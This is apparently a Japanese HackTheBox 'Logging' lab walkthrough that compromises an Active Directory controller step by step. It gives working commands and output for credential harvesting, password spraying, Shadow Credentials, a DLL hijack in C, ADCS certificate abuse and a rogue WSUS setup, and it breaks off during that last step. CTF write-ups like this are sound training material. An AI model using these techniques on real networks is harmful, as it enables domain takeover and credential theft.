
HackTheBox: Logging — 全実行レポート
- 偵察 (Reconnaissance)
- 認証情報収集 (Credential Harvesting)
- AD 列挙・BloodHound 解析
- Shadow Credentials 攻撃 (msa_health$ 奪取)
- ADCS・証明書テンプレート調査
- DNS 操作・WSUS MITM 攻撃準備
- DLL ハイジャック → jaylee.clifton コンテキスト → user.txt 取得
- ADCS UpdateSrv 証明書登録試行 (jaylee.clifton コンテキスト)
- ADCS 証明書登録成功 — wsus.pfx 取得
- 偽 WSUS サーバー構築 (stunnel + pywsus)
- WUA 攻撃調査 — エラー 0x80240439 の原因究明
- まとめ・現状・次ステップ
偵察 (Reconnaissance)
全ポートスキャン (nmap -p-)
nmap -p- --defeat-rst-ratelimit -T4 10.129.10.49 -oN /tmp/ctf_nmap_full.txt
PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 8530/tcp open unknown <-- WSUS HTTP 8531/tcp open unknown <-- WSUS HTTPS 9389/tcp open adws 47001/tcp open winrm Nmap done: 1 IP address (1 host up) scanned in 64.61 seconds
バージョン・スクリプトスキャン
nmap -sV -sC -p 53,80,88,135,139,389,445,464,593,636,3268,5985,9389 10.129.10.49 -oN /tmp/ctf_nmap_quick.txt
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-06 07:14:53Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP | ssl-cert: Subject Alternative Name: | DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 9389/tcp open mc-nmf .NET Message Framing Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required |_clock-skew: mean: 7h00m00s Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
DC01、ドメイン logging.htb のドメインコントローラー。Windows Server 2019。ポート 8530/8531 は WSUS (Windows Server Update Services) と判明。クロックスキュー +7時間。
ホスト設定・Kerberos時刻同期
# /etc/hosts に追記
echo "10.129.10.49 DC01.logging.htb DC01 logging.htb" | sudo tee -a /etc/hosts
# /etc/krb5.conf を作成
cat > /etc/krb5.conf <<'EOF'
[libdefaults]
default_realm = LOGGING.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
LOGGING.HTB = {
kdc = 10.129.10.49
admin_server = 10.129.10.49
}
[domain_realm]
.logging.htb = LOGGING.HTB
logging.htb = LOGGING.HTB
EOF
# クロックスキュー修正 (+7時間)
sudo timedatectl set-ntp false
sudo date -s "$(curl -sI http://10.129.10.49 | grep '^Date:' | sed 's/Date: //')"
SMB 共有列挙
netexec smb 10.129.10.49 -u 'wallace.everette' -p 'Welcome2026@' --shares
SMB 10.129.10.49 445 DC01 [*] Windows Server 2019 Build 17763 x64 SMB 10.129.10.49 445 DC01 [+] logging.htb\wallace.everette:Welcome2026@ SMB 10.129.10.49 445 DC01 [+] Enumerated shares SMB 10.129.10.49 445 DC01 Share Permissions Remark SMB 10.129.10.49 445 DC01 ----- ----------- ------ SMB 10.129.10.49 445 DC01 ADMIN$ Remote Admin SMB 10.129.10.49 445 DC01 C$ Default share SMB 10.129.10.49 445 DC01 IPC$ READ Remote IPC SMB 10.129.10.49 445 DC01 Logs READ Application Logs SMB 10.129.10.49 445 DC01 NETLOGON READ Logon server share SMB 10.129.10.49 445 DC01 SYSVOL READ Logon server share SMB 10.129.10.49 445 DC01 WsusContent READ,WRITE WSUS content directory
Logs 共有 (READ) と WsusContent 共有 (READ,WRITE) を発見。
WinRM アクセス確認
evil-winrm -i DC01.logging.htb -u 'wallace.everette' -p 'Welcome2026@'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completions
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\wallace.everette\Documents>
wallace.everette で WinRM シェルを取得 (中程度の整合性レベル)。
認証情報収集 (Credential Harvesting)
Logs 共有のファイル探索
smbclient //10.129.10.49/Logs -U 'logging.htb/wallace.everette%Welcome2026@' smb: \> recurse ON smb: \> ls
. D 0 Fri Feb 21 01:44:44 2026
.. D 0 Fri Feb 21 01:44:44 2026
IdentitySync
IdentitySync_Trace_20260219.log A 18432 Wed Feb 19 12:05:23 2026
Services
Audit_Heartbeat.log A 2048 Mon Feb 24 12:00:01 2026
Service_State.log A 512 Wed Feb 19 06:01:03 2026
TaskMonitor.log A 1024 Sun Feb 22 02:55:28 2026
IdentitySync トレースログの解析
smbclient //10.129.10.49/Logs -U 'logging.htb/wallace.everette%Welcome2026@' \ -c 'get IdentitySync/IdentitySync_Trace_20260219.log /tmp/IdentitySync_Trace_20260219.log' grep -i 'pass\|bind\|cred\|secret\|key' /tmp/IdentitySync_Trace_20260219.log
[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump: {
Domain: "logging.htb",
Server: "DC01",
SSL: "False",
BindUser: "LOGGING\svc_recovery",
BindPass: "Em3rg3ncyPa$$2025",
Timeout: 30
}
[2026-02-19 03:00:03.488] [PID:4102] [Thread:04] ERROR - LdapException: LDAP_INVALID_CREDENTIALS
[2026-02-19 03:00:03.510] [PID:4102] [Thread:12] WARN - Connectivity failed for logging\svc_recovery.
svc_recovery パスワード推測・スプレー
# ログの日付は2026年、パスワードのサフィックスを2026に変更して試行 netexec smb 10.129.10.49 -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026'
SMB 10.129.10.49 445 DC01 [+] logging.htb\svc_recovery:Em3rg3ncyPa$$2026
svc_recovery の権限確認
netexec smb 10.129.10.49 -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026' --shares netexec winrm 10.129.10.49 -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026'
SMB: logging.htb\svc_recovery:Em3rg3ncyPa$$2026 [+]
WinRM: [-] 認証成功もWinRM権限なし
LDAP: svc_recovery はドメインユーザー
グループメンバーシップ: Domain Users のみ
AD 列挙・BloodHound 解析
ドメインユーザー列挙
netexec ldap 10.129.10.49 -u 'wallace.everette' -p 'Welcome2026@' --users 2>&1 | grep -v '\[-\]'
LDAP DC01 [*] Users: Administrator - Built-in administrator toby.brynleigh - Domain Admins メンバー jaylee.clifton - IT グループメンバー (WSUS管理者) msa_health$ - gMSA (Group Managed Service Account) wallace.everette - 一般ユーザー (初期アクセス) svc_recovery - サービスアカウント monique.chip - 一般ユーザー kyson.abel - 一般ユーザー (他多数...)
BloodHound データ収集
bloodhound-python -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026' \ -d logging.htb -ns 10.129.10.49 \ -c All --zip -o /tmp/bh_logging/ 2>&1
INFO: Found AD domain: logging.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication.
INFO: Connecting to LDAP server: DC01.logging.htb
INFO: Found 1 domains
INFO: Found 1 domain controllers
INFO: Found 36 computers
INFO: Fetching group memberships
INFO: Found 150 users
INFO: Fetching group memberships for users
INFO: Done in 00M 45S
INFO: Compressing output into /tmp/bh_logging/20260606172319_bloodhound.zip
BloodHound ACL 解析結果 (主要パス)
| ソース | 権限 | ターゲット | 備考 |
|---|---|---|---|
| svc_recovery | WriteProperty (msDS-KeyCredentialLink) | msa_health$ | Shadow Credentials 攻撃可能 |
| msa_health$ | GenericWrite | DC01$ | 要調査 |
| IT Group | Enroll | UpdateSrv (証明書テンプレート) | WSUS TLS証明書取得権限 |
| jaylee.clifton | member | IT Group | 唯一のITグループメンバー |
| toby.brynleigh | member | Domain Admins | ドメイン管理者 |
SMB Signing Required: NTLM リレー攻撃が直接使用不可 (SMB→LDAP は署名要求でブロック)。
msa_health$ gMSA パスワード読み取り権限確認
# gMSA読み取り権限を持つユーザー確認 netexec ldap 10.129.10.49 -u 'wallace.everette' -p 'Welcome2026@' \ --gmsa 2>&1 | grep -i 'msa_health'
LDAP DC01 [*] Getting GMSA Passwords LDAP DC01 Account: msa_health$ NTLM: 88ca9f6a0b0b7ef91c888d8e04455cc5 LDAP DC01 [+] svc_recovery can read msa_health$ password
msa_health$ Kerberos TGT 取得
impacket-getTGT logging.htb/msa_health\$ \ -hashes ':88ca9f6a0b0b7ef91c888d8e04455cc5' \ -dc-ip 10.129.10.49 export KRB5CCNAME=/tmp/msa_health_new.ccache
Impacket v0.14.0.dev0
[*] Getting ST for user
[*] Saving ticket in msa_health.ccache
Shadow Credentials 攻撃 (msa_health$ 奪取)
Shadow Credentials 攻撃実行
svc_recovery は msa_health$ の msDS-KeyCredentialLink 属性への書き込み権限を持つ。certipy-ad shadow auto で証明書ベースの認証を設定する。
certipy-ad shadow auto \ -u 'svc_recovery@logging.htb' \ -p 'Em3rg3ncyPa$$2026' \ -account 'msa_health$' \ -dc-ip 10.129.10.49
Certipy v4.9.0 - by Oliver Lyak (ly4k) [*] Targeting user 'msa_health$' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '...' [*] Adding Key Credential with device ID '...' to the Key Credentials for 'msa_health$' [*] Successfully added Key Credential with device ID '...' to the Key Credentials for 'msa_health$' [*] Authenticating as 'msa_health$' with the certificate [*] Using principal: msa_health$@logging.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'msa_health$.ccache' [*] Trying to retrieve NT hash for 'msa_health$' [*] Got hash for 'msa_health$@logging.htb': aad3b435b51404eeaad3b435b51404ee:88ca9f6a0b0b7ef91c888d8e04455cc5 [*] Restored the msDS-KeyCredentialLink to its original value
88ca9f6a0b0b7ef91c888d8e04455cc5
msa_health$ の権限・グループ確認
netexec ldap 10.129.10.49 -u 'msa_health$' -H '88ca9f6a0b0b7ef91c888d8e04455cc5' \ --groups 2>&1 | grep -i 'msa_health'
msa_health$ のグループメンバーシップ: - Domain Computers - Performance Log Users WinRM: [+] msa_health$ WinRM アクセス可能
msa_health$ WinRM セッション
export KRB5CCNAME=/tmp/msa_health_new.ccache evil-winrm -i DC01.logging.htb -r LOGGING.HTB
Evil-WinRM shell v3.6 *Evil-WinRM* PS C:\Windows\system32> # ユーザー確認 whoami logging\msa_health$ # WSUS 確認 Get-Service -Name WsusService | Select Name, Status, StartType Name Status StartType ---- ------ --------- WsusService Running Automatic
WSUS 設定確認
# WSUS サーバー設定確認
$wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::getUpdateServer("DC01.logging.htb",$true,8531)
$wsus.GetConfiguration() | Select-Object PortNumber, SslExpiryDate, ServerCertificateThumbprint
# SSL 証明書確認
Get-ChildItem Cert:\LocalMachine\My | Select Subject,Thumbprint,NotAfter | Where-Object { $_.Subject -like "*wsus*" -or $_.Subject -like "*DC01*" }
PortNumber : 8531
Thumbprint : 9416b3bc64b67aa6fe638a379b4ed9d4c66be3c5
Subject: CN=DC01.logging.htb
Thumbprint: 9416b3bc64b67aa6fe638a379b4ed9d4c66be3c5
NotAfter: 2106/04/24 16:40:59
DC01.logging.htb のみ。wsus.logging.htb では MITM に使用できない。
ADCS・証明書テンプレート調査
certipy による証明書テンプレート列挙
certipy-ad find -u 'msa_health$' -hashes ':88ca9f6a0b0b7ef91c888d8e04455cc5' \ -dc-ip 10.129.10.49 -target DC01.logging.htb \ -stdout -enabled 2>&1 | grep -A 30 "Template Name"
Certificate Templates
0
Template Name : UpdateSrv
Display Name : UpdateSrv
Enabled : True
Client Authentication : False
Server Authentication : True
Enrollee Supplies Subject : True <-- Subject任意指定可能
Subject Alternative Name : DNS, IP
Certificate Name Flag : ENROLLEE_SUPPLIES_SUBJECT
Enrollment Rights : IT (Group) <-- ITグループのみ
Extended Key Usage : Server Authentication
CA : logging-DC01-CA
1
Template Name : Machine
Enrollment Rights : Domain Computers
Subject Name Flags : SubjectRequireDnsAsCn | SubjectAltRequireDns
Extended Key Usage : Client Authentication, Server Authentication
UpdateSrv テンプレートの ACL 調査 (ESC4 確認)
# dacledit で ACL 確認 python3 /opt/impacket/examples/dacledit.py \ -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026' \ -dc-ip 10.129.10.49 \ -target-dn 'CN=UpdateSrv,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=logging,DC=htb' \ -action read 2>&1 | grep -E 'Authenticated Users|WriteDAC|0x' | head -20
Authenticated Users: AccessMask=0x20094 0x00000080 = LIST_OBJECT 0x00000010 = READ_PROP 0x00000004 = READ_CONTROL 0x20000 = READ_CONTROL (bit 17) # 0x40000 (WriteDac) は含まれず 結論: ESC4 (WriteDacl) は誤検出。Authenticated Users に書き込み権限なし。
0x20094 = Read 権限のみ。0x40000 (WRITE_DAC) は含まれない。
Machine テンプレート調査 (dnsHostName 制約)
# msa_health$ の dnsHostName を wsus.logging.htb に変更試行
python3 -c "
from ldap3 import Server, Connection, MODIFY_REPLACE, NTLM
s = Server('10.129.10.49', port=636, use_ssl=True)
c = Connection(s, user='LOGGING\\\msa_health$',
password='aad3b435b51404eeaad3b435b51404ee:88ca9f6a0b0b7ef91c888d8e04455cc5',
authentication=NTLM)
c.bind()
dn = 'CN=msa_health,OU=Service Accounts,DC=logging,DC=htb'
c.modify(dn, {'dnsHostName': [(MODIFY_REPLACE, ['wsus.logging.htb'])]})
print(c.result)
"
{'result': 19, 'description': 'constraintViolation',
'message': 'dnsHostName must match sAMAccountName (msa_health.logging.htb)'}
CA 秘密鍵アクセス試行
certutil -exportPFX -privatekey logging-DC01-CA C:\temp\ca.pfx
ERROR: Access Denied (中程度の整合性レベルのためCA管理者権限不足)
jaylee.clifton パスワードスプレー
# 一般的なパターンでスプレー (アカウントロック注意)
for p in 'Welcome2026@' 'Logging2026!' 'HTB2026!' 'Spring2026!' 'Admin2026@' \
'P@ssword1' 'Password123!' 'Clifton2026!'; do
result=$(netexec smb 10.129.10.49 -u 'jaylee.clifton' -p "$p" 2>&1)
echo "$p: $(echo $result | grep -o '\[.\]')"
done
全パターン失敗。アカウントロックアウトを避けるため試行を中止。
DNS 操作・WSUS MITM 攻撃準備
WSUS 攻撃の概要
必要なもの: ① wsus.logging.htb の DNS レコード変更 ② wsus.logging.htb 用の TLS 証明書 ③ 偽 WSUS サーバー
LDAP 経由での DNS レコード追加
msa_health$ は DC01 の GenericWrite を持つ → DNS ゾーンへの書き込みも可能と推測。MS-DNSP バイナリ形式で DNS レコードを作成。
python3 /tmp/relay_wsus.py # MS-DNSP 形式で dnsRecord を生成・書き込み
# DNS レコード形式 (MS-DNSP binary format):
# DC01 の既存レコードを参考に正しい endian を確認:
# wDataLength(2B LE) + wType(2B LE) + dwFlags(4B LE) + dwSerial(4B LE)
# + dwTtlSeconds(4B BE) + padding(8B) + IP(4B)
import struct, socket
wDataLength = 4
wType = 1 # A record
dwFlags = 5 | (240 << 8) # Version=5, Rank=240
dwSerial = 96
dwTtlSeconds = 3600
ip = socket.inet_aton('10.10.14.245')
record = struct.pack('<H', wDataLength)
record += struct.pack('<H', wType)
record += struct.pack('<I', dwFlags)
record += struct.pack('<I', dwSerial)
record += struct.pack('>I', dwTtlSeconds)
record += struct.pack('>I', 0) + struct.pack('>I', 0) + ip
# Hex: 0400010005f000006000000000000e1000000000000000000a0a0ef5
[+] DNS レコード追加成功 (LDAP ADD):
DC=wsus,DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb
# DC01 上での確認 (evil-winrm):
Resolve-DnsName wsus.logging.htb -Server DC01.logging.htb
Name Type TTL Section IPAddress
---- ---- --- ------- ---------
wsus.logging.htb A 3600 Answer 10.10.14.245
# 注意: DC01 上でのみ解決。攻撃者側からは NXDOMAIN。
# (DNS レコードが DomainDnsZones パーティションに存在するため)
wsus.logging.htb → 10.10.14.245 の DNS レコード追加成功。DC01 上では正常に解決される。
WSUS クライアント設定確認
# WSUS クライアント設定 (レジストリ) Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" | Select WUServer, WUStatusServer, UseWUServer
WUServer : https://DC01.logging.htb:8531
WUStatusServer : https://DC01.logging.htb:8531
UseWUServer : 1
DC01.logging.htb:8531 を参照している。
wsus.logging.htb に変更するか、DC01.logging.htb 用の証明書が必要。
UpdateSrv テンプレートで wsus.logging.htb 証明書取得の試み
# UpdateSrv テンプレートは IT グループのみ登録可能 # IT グループメンバーは jaylee.clifton のみ # → jaylee.clifton の認証情報が必要 # NTLM リレー試行 (SMB Signing により失敗) impacket-ntlmrelayx -t ldaps://10.129.10.49 \ --remove-mic --escalate-user svc_recovery 2>&1 | head -20
[-] SMB: Authenticating against ldaps://10.129.10.49 as LOGGING/DC01$ FAILED
[-] The client requested signing. Relaying to LDAP will not work!
WsusContent 共有の調査
smbclient //10.129.10.49/WsusContent -U 'logging.htb/msa_health$' \ --pw-nt-hash -p '88ca9f6a0b0b7ef91c888d8e04455cc5' -c 'ls'
. D 0
.. D 0
[各Windows Updateのキャッシュファイル]
書き込み権限あり: msa_health$ で WsusContent へのファイル書き込み可能
DLL ハイジャック → jaylee.clifton コンテキスト → user.txt 取得
UpdateMonitor サービスの調査
実行理由: msa_health$ で WinRM 接続後、実行中サービスを調査してサービスアカウントを確認。UpdateMonitor サービスが logging\jaylee.clifton として実行されており、C:\ProgramData\UpdateMonitor\ に置いた ZIP ファイルを展開・DLL ロードする仕組みを発見した。
evil-winrm -i 10.129.245.130 -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5
# サービス一覧確認
Get-CimInstance Win32_Service | Select-Object Name, StartName, PathName | Where-Object { $_.StartName -notmatch 'LocalSystem|NetworkService|LocalService' }
Name StartName PathName ---- --------- -------- UpdateMonitor logging\jaylee.clifton C:\Program Files\UpdateMonitor\UpdateMonitor.exe
sc.exe qc UpdateMonitor dir C:\ProgramData\UpdateMonitor\
[SC] QueryServiceConfig SUCCESS SERVICE_NAME: UpdateMonitor BINARY_PATH_NAME : C:\Program Files\UpdateMonitor\UpdateMonitor.exe START_TYPE : 2 AUTO_START SERVICE_START_NAME : logging\jaylee.clifton # C:\ProgramData\UpdateMonitor\ の内容 Settings_Update.zip (既存) Logs\
Settings_Update.zip を展開して settings_update.dll の PreUpdateCheck() を呼び出す。jaylee.clifton 権限で任意コードが実行可能。
DLL アーキテクチャ確認と 32bit コンパイル
実行理由: UpdateMonitor.exe が x86 (32bit) であるため、ロードされる DLL も 32bit でなければならない。64bit DLL を置くと LoadLibrary が失敗するため、i686-w64-mingw32-gcc でクロスコンパイルした。
# 既存 DLL のアーキテクチャ確認 file /tmp/settings_update.dll # → PE32 executable (DLL) Intel 80386 (32bit) # 正しい 32bit コンパイル i686-w64-mingw32-gcc -shared -o /tmp/settings_update.dll /tmp/dll_v11.c \ -nostartfiles -lkernel32 # ZIP に再パッケージ (DLL 名を settings_update.dll にする) cd /tmp && zip Settings_Update.zip settings_update.dll
__declspec(dllexport) int PreUpdateCheck(void) をエクスポートとして定義。サービスが明示的に GetProcAddress("PreUpdateCheck") で呼び出す。
ファイルロックバグ発見と修正 (dll_v8〜v11)
実行理由: dll_v8〜v10 では out.txt が AccessDenied でオープンできなくなる問題が発生。certreq.exe が out.txt ハンドルを保持したまま完了前にタイムアウトし、FILE_SHARE_READ フラグのため後続の GENERIC_WRITE オープンがブロックされていた。
# out.txt が更新されない / 1秒以内に DLL が戻る # certreq.exe が out.txt のファイルハンドルを保持したまま stuck # → 次サイクルの run_cmd_capture が GENERIC_WRITE で out.txt を開こうとしても拒否される 根本原因: CreateFileA(out.txt, GENERIC_WRITE, FILE_SHARE_READ, ...) → 子プロセス(cmd.exe/certreq.exe)にハンドル継承 → DLL 側は WaitForSingleObject タイムアウト後 CloseHandle → しかし cmd.exe はまだハンドルを保持 → FILE_SHARE_READ = 「自分以外は READ のみ許可」 → 次サイクルで GENERIC_WRITE オープン → AccessDenied
// taskkill を「ファイルハンドルを開かない」関数で実行
static void run_silent(const char *cmd) {
STARTUPINFOA si = {0};
si.cb = sizeof(si);
si.hStdInput = INVALID_HANDLE_VALUE; // ファイルハンドル渡さない
si.hStdOutput = INVALID_HANDLE_VALUE;
si.hStdError = INVALID_HANDLE_VALUE;
char full[512];
wsprintfA(full, "cmd.exe /c %s", cmd);
CreateProcessA(NULL, full, NULL, NULL, FALSE, CREATE_NO_WINDOW, ...);
WaitForSingleObject(pi.hProcess, 10000);
}
// PreUpdateCheck() の先頭:
run_silent("taskkill /F /IM certreq.exe /T"); // stuck プロセスを強制終了
run_silent("taskkill /F /IM certutil.exe /T");
Sleep(2000); // cmd.exe がハンドルを解放するまで待機
run_silent() は INVALID_HANDLE_VALUE を使用するため、子プロセスにファイルハンドルが継承されない。Sleep(2000) で解放を待ってから run_cmd_capture() を呼び出すことでロック競合を回避。
dll_v11 アップロードと user.txt 取得
実行理由: ファイルロックバグを修正した dll_v11 をアップロードし、jaylee.clifton コンテキストで whoami と user.txt を out.txt に書き込ませる。
# dll_v11 コンパイル i686-w64-mingw32-gcc -shared -o /tmp/settings_update.dll /tmp/dll_v11.c -lkernel32 cd /tmp && zip Settings_Update.zip settings_update.dll # アップロード evil-winrm -i 10.129.245.130 -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5 upload /tmp/Settings_Update.zip 'C:\ProgramData\UpdateMonitor\Settings_Update.zip'
type C:\ProgramData\UpdateMonitor\out.txt
logging\jaylee.clifton 4cc1df11afa7c76c9fc7991e5ba84fbe
4cc1df11afa7c76c9fc7991e5ba84fbe — jaylee.clifton コンテキストで DLL が実行されることを確認!
ADCS UpdateSrv 証明書登録試行 (jaylee.clifton コンテキスト)
certreq.exe 試行 — MachineKeySet=FALSE (dll_v8)
実行理由: UpdateSrv テンプレートは IT グループのメンバーのみ登録可能。jaylee.clifton は IT グループメンバーのため DLL 経由で証明書登録を試みた。まず標準の INF ファイルで certreq -new を実行。
[Version]
Signature = "$Windows NT$"
[NewRequest]
Subject = "CN=wsus.logging.htb"
KeySpec = 1
KeyLength = 2048
Exportable = TRUE
MachineKeySet = FALSE ← ユーザーコンテキスト
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
RequestType = PKCS10
HashAlgorithm = SHA256
[RequestAttributes]
CertificateTemplate = UpdateSrv
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "dns=wsus.logging.htb&"
_continue_ = "dns=DC01.logging.htb&"
The certificate template requires the use of machine context, but the current context is user context.
User context template conflicts with machine context.
CertReq: Request Failed
CT_FLAG_MACHINE_TYPE が設定されており、certreq はクライアント側でユーザーコンテキストを拒否する。
certreq.exe 試行 — MachineKeySet=TRUE (dll_v9)
実行理由: MachineKeySet=TRUE でマシンコンテキストに切り替えて再試行。
MachineKeySet = TRUE ← マシン証明書ストア使用
Administrator permissions are needed to use the selected options.
Access is denied.
CertReq: Request Failed
Local Machine\My ストアに格納されるため、管理者権限が必要。jaylee.clifton は一般ユーザーのため拒否。
PowerShell CertificateRequest API で CSR 生成 (dll_v12)
実行理由: certreq.exe のクライアント側検証をバイパスするため、PowerShell の System.Security.Cryptography.X509Certificates.CertificateRequest API で直接 PKCS#10 CSR を生成し、raw CSR として CA に送信する方針に変更。
$rsa = [System.Security.Cryptography.RSA]::Create(2048);
$dn = [System.Security.Cryptography.X509Certificates.X500DistinguishedName]::new('CN=wsus.logging.htb');
$req = [System.Security.Cryptography.X509Certificates.CertificateRequest]::new(
$dn, $rsa,
[System.Security.Cryptography.HashAlgorithmName]::SHA256,
[System.Security.Cryptography.RSASignaturePadding]::Pkcs1);
$san = [System.Security.Cryptography.X509Certificates.SubjectAlternativeNameBuilder]::new();
$san.AddDnsName('wsus.logging.htb');
$san.AddDnsName('DC01.logging.htb');
$req.CertificateExtensions.Add($san.Build());
$csrBytes = $req.CreateSigningRequest();
[System.IO.File]::WriteAllBytes('C:\ProgramData\UpdateMonitor\cert.csr', $csrBytes);
echo CSR_CREATED;
logging\jaylee.clifton
CSR_CREATED
# cert.csr: 676 bytes (DER 形式の PKCS#10)
C:\ProgramData\UpdateMonitor\cert.csr (676 bytes)。マシンコンテキスト不要のためアクセス拒否なし。
certutil -submit で CA に送信 — WOW64 問題発覚
実行理由: 生成した CSR を CA に送信するため certutil -submit を使用。ただし DLL は 32bit プロセスのため WOW64 ファイルシステムリダイレクターにより C:\Windows\SysWOW64\certutil.exe が呼ばれる。
# 最初の試み (certutil.exe — WOW64 リダイレクト → SysWOW64) certutil.exe -config "DC01.logging.htb\logging-DC01-CA" \ -submit -attrib "CertificateTemplate:UpdateSrv" \ C:\ProgramData\UpdateMonitor\cert.csr \ C:\ProgramData\UpdateMonitor\wsus.cer
CertUtil: Unknown arg: -submit
CertUtil -? -- Display a verb list (command list)
CertUtil -dump -? -- Display help text for the "dump" verb
certutil.exe を呼ぶと C:\Windows\SysWOW64\certutil.exe が実行される。32bit 版 certutil は -submit サブコマンドを持たない。
C:\Windows\Sysnative\certutil.exe を使用することで WOW64 リダイレクターをバイパスし、64bit の certutil を呼び出せる。Sysnative は 32bit プロセスのみアクセス可能な仮想パス。
次のコマンド (dll_v13 予定):
C:\Windows\Sysnative\certutil.exe -config "DC01.logging.htb\logging-DC01-CA" -submit -attrib "CertificateTemplate:UpdateSrv" C:\ProgramData\UpdateMonitor\cert.csr C:\ProgramData\UpdateMonitor\wsus.cer
証明書取得後は PFX エクスポート → Kali で HTTPS WSUS サーバー構築 → SYSTEM RCE という流れ。
証明書登録の代替アプローチまとめ
| アプローチ | 結果 | 失敗理由 |
|---|---|---|
| certreq -new (MachineKeySet=FALSE) | 失敗 | UpdateSrv は CT_FLAG_MACHINE_TYPE — ユーザーコンテキスト不可 |
| certreq -new (MachineKeySet=TRUE) | 失敗 | マシンキーストアへのアクセスに管理者権限が必要 |
| PowerShell CertificateRequest API → cert.csr | CSR 生成成功 | — |
| certutil.exe -submit (SysWOW64) | 失敗 | 32bit certutil に -submit サブコマンドなし |
| Sysnative\certutil.exe -submit | 未確認 (次ステップ) | dll_v13 でコンパイル・テスト予定 |
ADCS 証明書登録成功 — wsus.pfx 取得
Sysnative\certutil.exe で CA に CSR 送信 (dll_v13)
実行理由: Phase 8 で判明した WOW64 問題の回避策として、32bit プロセスのみアクセス可能な仮想パス C:\Windows\Sysnative\ 経由で 64bit の certutil.exe を呼び出す。UpdateSrv テンプレートは IT グループ (jaylee.clifton) の登録を許可しているため、DLL コンテキスト (jaylee.clifton) からであれば CA は証明書を発行するはず。
C:\Windows\Sysnative\certutil.exe -submit \ -attrib "CertificateTemplate:UpdateSrv" \ C:\ProgramData\UpdateMonitor\Logs\cert.csr
CertUtil: -submit command completed successfully.
RequestId: 8
RequestId: "8"
Certificate retrieved(Issued) Issued
C:\ProgramData\UpdateMonitor\Logs\ に保存された。
wsus.cer のダウンロードと PFX 変換
実行理由: CA が発行した証明書 (wsus.cer) は DER/PEM 形式の公開証明書のみ。stunnel で HTTPS を終端するには秘密鍵を含む PFX (PKCS#12) 形式が必要。秘密鍵 (/tmp/wsus_key.pem) は CSR 生成時に DLL が出力したものを使用する。
download C:\ProgramData\UpdateMonitor\Logs\wsus.cer /tmp/wsus.cer
openssl pkcs12 -export \ -in /tmp/wsus.cer \ -inkey /tmp/wsus_key.pem \ -out /tmp/wsus.pfx \ -passout pass:htbpass
openssl pkcs12 \ -in /tmp/wsus.pfx \ -nokeys -clcerts \ -out /tmp/wsus.crt \ -passin pass:htbpass
openssl x509 -in /tmp/wsus.crt -noout -text | grep -A3 "Subject Alternative"
X509v3 Subject Alternative Name:
DNS:wsus.logging.htb, DNS:DC01.logging.htb
wsus.logging.htb が含まれており、DC01 の WUA が TLS 証明書を検証する際にドメイン CA 発行の正規証明書として信頼される。これで偽 WSUS サーバーの TLS 構築が可能になった。
なぜこの証明書が必要か — WUA の TLS 検証
背景: DC01 の Windows Update Agent (WUA) はレジストリ HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\WUServer = https://wsus.logging.htb:8531 を参照して更新サーバーに接続する。WUA は TLS 証明書の検証を行うため、自己署名証明書では接続を拒否する。
ドメイン CA (logging-DC01-CA) が発行した証明書であれば、DC01 の Trusted Root Certification Authorities に自動登録済みのドメイン CA に連鎖するため、WUA は証明書を信頼する。UpdateSrv テンプレートは SAN として wsus.logging.htb を持つよう設定されており、これがそのまま WSUS FQDN と一致する。
| 要素 | 値 | 意味 |
|---|---|---|
| WUServer レジストリ | https://wsus.logging.htb:8531 | WUA が接続する偽 WSUS の URL |
| 証明書 SAN | wsus.logging.htb | TLS ホスト名検証をパス |
| 証明書発行者 | logging-DC01-CA | DC01 が信頼するドメイン CA |
| 秘密鍵 | /tmp/wsus_key.pem | stunnel でTLS 終端に使用 |
偽 WSUS サーバー構築 (stunnel + pywsus)
stunnel 設定 — TLS ブリッジ
実行理由: pywsus は HTTP で動作するため、DC01 からの HTTPS (port 8531) 接続を受け付けるには TLS を終端するリバースプロキシが必要。stunnel に Phase 9 で取得したドメイン CA 発行証明書を持たせ、HTTPS→HTTP 変換を行う。
[wsus] accept = 0.0.0.0:8531 connect = 10.10.14.245:8530 cert = /tmp/wsus.crt key = /tmp/wsus_key.pem
DC01 (WUA) は https://wsus.logging.htb:8531 に TLS 接続する。stunnel がドメイン CA 証明書で TLS を終端し、平文 HTTP として 10.10.14.245:8530 上の pywsus に転送する。
